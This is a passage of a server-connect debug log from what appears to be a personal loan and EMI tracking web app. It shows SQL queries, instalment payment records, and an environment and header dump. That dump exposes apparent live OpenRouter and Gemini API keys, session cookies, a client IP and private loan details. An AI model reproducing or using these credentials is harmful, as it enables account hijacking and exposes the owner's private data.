    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-03T17:32:00.938Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-03T17:32:00.939Z server-connect:app Executing action step identify
2026-03-03T17:32:00.939Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:00.939Z server-connect:output identity: 1
2026-03-03T17:32:00.939Z server-connect:app Executing action step restrict
2026-03-03T17:32:00.939Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:32:00.939Z server-connect:output restrict: undefined
2026-03-03T17:32:00.939Z server-connect:app Executing action step select
2026-03-03T17:32:00.940Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-03T17:32:00.940Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-03-03T17:32:16.077Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-03T17:32:16.077Z server-connect:app Executing action step identify
2026-03-03T17:32:16.077Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:16.077Z server-connect:output identity: 1
2026-03-03T17:32:16.077Z server-connect:app Executing action step restrict
2026-03-03T17:32:16.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:32:16.078Z server-connect:output restrict: undefined
2026-03-03T17:32:16.078Z server-connect:app Executing action step select
2026-03-03T17:32:16.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-03T17:32:16.079Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-03-03T17:32:21.243Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-03T17:32:21.243Z server-connect:app Executing action step identify
2026-03-03T17:32:21.243Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:21.243Z server-connect:output identity: 1
2026-03-03T17:32:21.243Z server-connect:app Executing action step restrict
2026-03-03T17:32:21.243Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:32:21.244Z server-connect:output restrict: undefined
2026-03-03T17:32:21.244Z server-connect:app Executing action step select
2026-03-03T17:32:21.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-03T17:32:21.246Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-03-03T17:32:25.251Z server-connect:router Serving templateView /goal
2026-03-03T17:32:25.251Z server-connect:app Executing action step identify
2026-03-03T17:32:25.252Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:25.252Z server-connect:output identity: 1
2026-03-03T17:32:25.252Z server-connect:app Executing action step restrict
2026-03-03T17:32:25.252Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-03T17:32:25.252Z server-connect:output restrict: undefined
2026-03-03T17:32:25.252Z server-connect:router Render template goal
2026-03-03T17:32:25.252Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"3f7a-8evdTmhK5BWMrlr1EAyEpXj7HJk"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AYBcIJzk1eHUc8foGeu01EA%3D%3D.QYO%2FWfci0AG34bA0VM5gtuDYaDWOsSMpNTom2wMaS6X%2FxEim8AD3ZmsU%2Bx67usz6kDEl7FL4kfkz4hlqe6UpCmrijYKnbjd9ZFdZQ4kS5g3WYa4cZUMo3QJ6r0Toio72IRTFD%2FTC2rxHuHa7yk0Z15wzv2tYjwqeG9cpszIIr4Q%3D.yLK%2BrUpEZ98kFyRtaS6iNK4G1qO1fxNIJjtdapzV2lo; your_r_git.sid=s%3ALFsmm_nfvv8EaoUuBcEst9NKft1ijmdX.4D8kuJLJFrS4E8QM8R3AJ7UptFQuxPg%2BKQl2H8gfd5s',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
